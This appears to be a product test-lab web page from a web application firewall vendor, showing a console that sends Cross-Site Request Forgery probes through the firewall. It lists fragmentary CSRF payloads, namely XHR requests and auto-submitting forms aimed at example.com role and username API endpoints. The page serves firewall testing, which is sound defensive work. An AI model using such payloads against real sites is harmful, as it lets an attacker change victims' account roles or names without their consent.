WAAP Lab — Cross-Site Request Forgery
M
MonitorApp
PoC
API login
Home
Attacks
Upload
Downloads
CDR
Rewrite
Cross-Site Request Forgery
Attack Console
Send a CSRF probe through the WAAP to
display.php
.
Payload
Cross Site Request Forgery Attacks
xhr.open('POST', 'http://www.example.com/api/setrole');
">form id='CSRF_POC' action='www.example.com/api/setrole' enctype='
script> var xhr = new XMLHttpRequest();
xhr.open('GET', 'http://www.example.com/api/currentuser');
const file = new File( [ 'CSRF-filecontent' ], 'CSRF-filename' );
form id='autosubmit' action='http://www.example.com/api/setusername'
action='http://www.example.com/api/setusername' enctype='text/plain'
Send attack
Sends one request through the WAAP